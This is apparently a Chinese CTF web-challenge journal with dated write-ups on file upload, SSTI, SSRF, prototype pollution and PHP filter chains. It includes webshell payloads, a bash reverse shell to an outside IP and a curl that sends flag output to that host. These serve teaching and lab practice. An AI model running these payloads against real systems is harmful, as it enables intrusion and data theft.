2026.4.1 2023ciscn unzip
点开发现有文件上传,随便上传一点发现跳转到了源码界面。
1 |
|
可以发现就是很简单的一个操作,检查文件是否为zip然后解压到/tmp目录。没有任何过滤,可以轻松上传木马,但是问题在于我们访问不了/tmp目录,没法接触到木马文件。
这里主要考察的知识点是软连接
软连接是linux中一个常用命令, 它的功能是为某一个文件在另外一个位置建立一个同步的链接。软连接类似与c语言中的指针,传递的是文件的地址; 更形象一些,软连接类似于WINDOWS系统中的快捷方式。 例如,在a文件夹下存在一个文件hello,如果在b文件夹下也需要访问hello文件,那么一个做法就是把hello复制到b文件夹下,另一个做法就是在b文件夹下建立hello的软连接。通过软连接,就不需要复制文件了,相当于文件只有一份,但在两个文件夹下都可以访问。
所以思路大致就是先上传一个link建立软链接,然后再上传shell。
1 | ln -s /var/www/html test //创建软连接 |
然后上传1.zip和test.zip
访问shell.php,成功rce
cat /flag即可
2026.4.2 2023ciscn go_session
有附件,是白盒。
main.go
1 | package main |
route.go
1 | package route |
结合题目名字,猜测session_sey为空字符,伪造admin session,脚本如下:
1 | package main |
得到session**session-name**=**MTc3NTE5ODYzN3xEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0PXw0U7MhQ-CA1QNWSUq8iW5B6_XvqdsNNXtW926qyh6osA**==
然后访问/admin,提示ssti。
访问/flask?name,得到
1 |
|
重点看
1 | app = Flask(__name__) |
发现开启了debug,也就是说允许热加载。ssti,payload如下:
1 | GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.HandlerName()|last),c.Request.Referer())}} |
然后访问/flask?name=?name=env即可获得flag
2026.4.3 2024ciscn simple_php
访问,直接得到了源码
1 |
|
于是可以使用 php -r phpinfo(); 函数来查看 PHP 的配置
可以用php -r来写入恶意代码
1 | cmd=php -r system(hex2bin(substr(a6563686f20223c3f70687020406576616c285c245f504f53545b277368656c6c275d293b3f3e22203e206368696e6f2e706870,1))); |
其中6563686f20223c3f70687020406576616c285c245f504f53545b277368656c6c275d293b3f3e22203e206368696e6f2e706870
为echo "<?php @eval(\$_POST['shell']);?>" > chino.php的16进制。
然后shell=system(‘mysqldump -uroot -proot –all-databases’);
然后查找flag即可。
2026.4.4 WHUCTF2025 迷雾森林
首先扫描目录,发现存在git泄露
查看config.php:
1 | <?php |
发现数据库的用户名和password,猜测密码复用,登陆成功。
这里也可以使用Auth_key来构造永真式来进行绕过,参考:VNCTF2025-WEB - EddieMurphy’s blog
网络查询发现emlog存在文件上传漏洞,参考:emlog文件上传漏洞分析(CNVD-2025-04611)-先知社区
创建一个shell文件夹,里面写一个shell.php内容如下:
1 | <?=eval($_POST[1])?> |
然后压缩,上传。
接着访问/content/plugins/shell/shell.php即可rce。
POST传参1=system(‘cat /flag’);即可获得flag
现在想想这一题也不算难,因为好心的goku直接把用户名和密码给我们了。但是当时没有做出来(
反思下,当时对cms,框架之类的了解的不多,自己在那边读php代码也不知道在干什么(
2026.4.5 WHUCTF2025 冰封峡谷
签到题,依据题目发包即可。
官方exp如下:
1 | import socket |
2026.4.6 WHUCTF2025 熔烬裂谷-revenge
dawn.php源码:
1 |
|
重点为 $imageData = file_get_contents($imageUrl);
存在CVE-2024-2961,详情参考CVE-2024-2961 漏洞分析 - FreeBuf网络安全行业门户
可以将读取文件变成rce
题目预期链基本已经明确:
- 利用内部 Go 服务的
/query发起 SSRF。 - 因为允许
gopher://,所以可以伪造原始 HTTP 请求打内网 Apache。 - 通过
gopher://127.0.0.1:80发送POST /dawn.php。 - 在
url_image中传入php://filter/...,获得稳定的任意文件读。 - 继续利用
cnext(glibciconv相关链)实现 PHP 进程内 RCE。 - RCE 后直接执行
/readflag读取真实 flag。
官方exp如下:
1 | import requests |
2025.4.7 WHUCTF2025 龙之试炼
点进去,发现存在源码:
1 |
|
查看注释dawn.php,访问后显示see me?
要想办法拿到dawn.php源码.
侧信道攻击,参考链接:
[PHP Filter链——基于oracle的文件读取攻击 - “我不是二次元!”](https://m1racle-7.github.io/2024/10/07/PHP Filter链——基于oracle的文件读取攻击/)
通用脚本如下:
1 | import requests |
修改点后如下,主要是由于在执行imagesize之前会highlight,所以要将判断改为是否出现结尾:
1 | import requests |
读取出的dawn.php
1 |
|
可以看见name被双引号包裹,php中${}包裹的东西在双引号中也能被解析
尝试name=${phpinfo()}&token=awa,然后访问data.php,成功显示配置。
写入木马name=${system($_POST[1])}&token=awa,然后访问data.php,POST 1=env即可。
2025.4.8 WHUCTF2025 Image Hub
用ILSpy工具审查.net代码
主要观察
1 | public async Task<List<Images>> List(Form.ImageRequest request) |
发现是直接拼接的sql语句,存在sql注入,盲注脚本如下:
1 | #!/usr/bin/env python3 |
获得 Name = admin Password = A95E5CCBF6F62F169C2972F4482A2B50,爆破明文密码,脚本如下:
1 | #!/usr/bin/env python3 |
接下来上传sqlite恶意拓展实现rce,官方的evil.c
1 |
|
官方的exp:
1 | import requests |
2025.4.9 Notice Board
查看代码
1 | for user in USERS: |
注册逻辑是先检验,再小写,再写入,因此我们可以传参Admin来覆盖原有的admin
再util.py存在merge,即大概率存在原型链污染:
1 | def merge(src, dst): |
搜寻merge函数,发现再controller.py的NoticeController存在以下方法:
1 |
|
会将用户传递的context直接merge到notice
notice class 如下:
1 | class Notice: |
这里可以通过 __class__ -> __init__ -> __globals__ 从 Notice 类一路进入定义该类的模块全局变量,最终拿到 models.app。
可以控制全局变量了,查找有没有rce的入口。在patch.diff中发现:
1 | + if type(responder) == str and re.match(r'^\s*lambda\s+[\w, ]+:\s*.+$', responder): |
要想办法将其污染成”lambda req, resp: setattr(resp.context, ‘result’, {‘flag’: import(‘os’).popen(‘/readflag’).read()})”
代码如下:
1 | curl -is -X POST http://127.0.0.1:8000/api/notice \ |
然后访问/api/notice即可获得flag
2025.4.10 CISCN2024 sanic
访问/scr,获得源码
1 | from sanic import Sanic |
重点看:
1 | if user.lower() == 'adm;n': |
也就是要让cookier中为adm;n,但是直接传入adm;n会被;截断。根据RFC2068 的编码规则,传入\073绕过。
获得session=d4977aca080642549ef5fa85dc065c97
然后访问admin,进行原型链污染。
_.被过滤,出题人的意图显然是想拦一些通过下划线对象再接点号的路径,但这个过滤很脆弱,因为 pydash 的路径解析支持对点号做转义。
也就是说:
1 | __class__\\.__init__\\.__globals__\\.__file__ |
里的 \\. 不是普通文本,而是“把点号当成字面字符”的逃逸写法。
这里要分清两层:
- JSON 字符串里的
\\会变成真实的\ pydash看到\.时,会把这个.当作字段名中的字符,而不是路径分隔符
可以__class__\\.init\\.__这样绕过
/src 路由是:
1 |
|
这里直接读取模块全局变量 __file__ 指向的文件。
而 Pollute.__init__.__globals__ 恰好就是这个模块的全局命名空间字典。
所以只要把全局字典中的 __file__ 改掉,/src 再次访问时就会去读新的文件。
由于不知道flag名称,所以先污染静态目录:
1 | /*打开目录预览*/ |
获得flag文件名称/24bcbd0192e591d6ded1_flag
1 | s.post(url + "/admin", json={ |
通过/src读取flag。
以下为exp:
1 | import requests |
2026.4.11 ciscn2024 easycms
提示了flag.php和其源码:
1 | if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){ |
要求是要本机访问,估计是要ssrf。
使用 dirsearch 扫描后发现了 test.php

根据提示2,去github搜索相关的cms。地址如下:dayrui/xunruicms: 迅睿CMS框架由PHP+MySQL+Codeigniter架构,基于MIT开源协议发布,免费且不限制商业使用,允许开发者自由修改前后台界面中的版权信息。
审计源码,由于需要ssrf,所以优先所搜curl_exec函数。
在 dayrui\Fcms\Control\Api.php里面的 qrcode 函数里面找到了调用
首先在自己的服务器弄个php文件
1 | header("Location: http://127.0.0.1/flag.php?cmd='bash%20-i%20%3E&%20/dev/tcp/114.55.164.250/11451%200%3E&1'"); |
payload:
1 | s=api&c=Api&thumb=http://114.55.164.250/&m=qrcode&text=test&size=80&level=1 |
然后rce即可获取flag
由于ctfshow的复现环境可以直接执行,所以不需要302跳转,可以直接:
1 | https://2e50877f-7e6a-4f53-9ea7-e024fbaa1bbc.challenge.ctf.show/?s=api&c=api&m=qrcode&text=1&thumb=http://127.0.0.1/flag.php?cmd=curl%20http://114.55.164.250:11451/`/readflag|base64` |
2026.4.12 ciscn2024 mossfern
题目给出了源码
app.py:
1 | import os |
runner.py
1 | def source_simple_check(source): |
参考链接:python栈帧沙箱逃逸 - Zer0peach can’t think
exp.py如下:
1 | import requests |
2026.4.13 ctfshow_web安全应用_最简单的SSRF
题目代码:
1 |
|
扫描发现存在flag.php,访问显示需要本地用户访问,很明显是ssrf
发现只检验了host长度不能大于5,用url=http://0/flag.php即可
2026.4.14 ctfshow_web安全应用_SSRF打Redis
使用Gopherus生成payload。
生成后的payload还需要进行一次url编码才能使用。
然后访问url/shell.php?cmd=tac /flaaag即可获得flag。
2026.4.15 ctfshow单身杯_迷雾重重
查看IndexController.php,其中有:
1 | public function testJson(Request $request) |
data可控,查看view函数。
view:
1 | function view(string $template, array $vars = [], string $app = null, string $plugin = null): Response |
跟进查看$handler::render
1 | public static function render(string $template, array $vars, string $app = null, string $plugin = null): string |
$vars可控,重点看:
1 | extract($vars); |
存在变量覆盖,实现可用控制$template_path
这里的话直接读取环境变量可用获得flag
1 | curl -G 'http://90acdc09-79d6-4fc6-92c8-e88bc19c9072.challenge.ctf.show/index/testJson' --data-urlencode 'data={"name":"guest","__template_path__":"/proc/1/environ"}' |
但这为非预期,正解应该如下:
参考hxp CTF 2021 - The End Of LFI? - 跳跳糖
脚本如下:
1 |
|
即可获得flag。
2026.4.16 ctfshow单身杯_ez_inject
根据提示,登陆或者注册路由存在污染,由于是flask,所以应该是python原型链污染,猜测后端代码为:
1 | from flask import * |
payload如下:
1 | curl -is -X POST 'http://e947e786-4a39-413f-9c35-2c92e54bb132.challenge.ctf.show/register' \ |
把static污染成/
访问/static/flag即可获得flag
2026.4.17 ctfshow西瓜杯_CodeInject
访问后显示源码
1 |
|
可传参1=a);闭合然后再跟指令。
直接1=a);system(“cat /000f1ag.txt”);?>即可。
2026.4.17 ctfshow西瓜杯Ezzz_php
访问,显示源代码:
1 |
|
参考连接:Web-逃跑大师–第二届黄河流域公安院校网络空间安全技能邀请赛_web 题目描述: ‘逃’出生天?-CSDN博客
1 | 2. mb_substr和mb_strpos函数漏洞 |
实现读取任意文件,接下来要rce,参考【翻译】从设置字符集到RCE:利用 GLIBC 攻击 PHP 引擎(篇一)-先知社区
即可获得flag
2026.4.18 ctfshow元旦水友赛easy_include
题目源码如下:
1 |
|
禁止点号,并且必须用字母开头
可以用1=localhost/etc/passwd成功读取。
方法一,session临时文件包含
由于cookie中存在phpsessid,所以开启了session。
php中上传文件时,如果 POST 中带:PHP_SESSION_UPLOAD_PROGRESS=xxx,则会自动把xxx写入/tmp/sess_<PHPSESSID>。
所以可以条件竞争来临时文件包含,脚本如下:
1 | import requests |
方法二,pear
第一次先建立木马文件
get传
1 | /?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST[2]);?>+/tmp/awa.php |
post传
1 | 1=localhost/usr/local/lib/php/pearcmd.php |
第二次包含木马文件并获得flag
post传
1 | 1=localhost/tmp/cmd.php&2=system('tac /flag_is_here.txt'); |
2026.4.19 元旦水友赛easy_web
源码如下:
1 |
|
提示为:php版本为5.5.9
这个版本可以绕过wakeup
这题的关键是三段:
- 进入
unserialize($_GET['show_show.show']) - 通过 POP 链触发
Chu0_write::__toString() - 写出
system到ctfw.txt,再执行system('env'),从环境变量里拿FLAG
首先需要知道php的几个特性:
1 | 1.如果直接传?show_show.show=1,php会将其变成show_show_show=1,但只要传show[show.show=1就行了,将[变成_后就不会再将.变成_ |
1 | 2.$_REQUEST,当 GET 和 POST 有相同的变量时,优先匹配 POST 的变量,用来绕过waf1 |
接下来绕过waf2,只需要对参数进行url编码就可以了。
反序列化前还有一层:
1 | if (!preg_match('/^[Oa]:[\d]/i',$_GET['show_show.show'])){ |
不能直接以 O:... 或 a:... 开头。
这里用 ArrayObject 的 C: 序列化格式绕过:
1 | C:11:"ArrayObject":... |
这样既能 unserialize,又不匹配 ^O: / ^a:。
Pop链如下:
1 | ctf::__destruct() |
exp如下:
1 | $a = new ctf(); |
接下来还需要绕过拼接。
在 __toString() 里:
1 | $content='ctfshowshowshowwww'.$_GET['chu0']; |
目标是让:
1 | $tmp === "system" |
但写入文件时前面会强行拼上:
1 | ctfshowshowshowwww |
因此不能直接写 system,而要利用 php://filter 做“去杂”。
payload:
1 | php://filter/convert.quoted-printable-decode/convert.iconv.utf-16.utf-8/convert.base64-decode/resource=ctfw |
执行env指令成功获取flag
2026.4.20 [CISCN 2023 华北]ez_date
题目源码如下:
1 |
|
首先不能用数组绕过md5,但可以令a=1,b=’1’,这样绕过。
date会将flag变成fThursdaypm11,可以用/f\l\a\g来绕过。
然后就能获取flag了。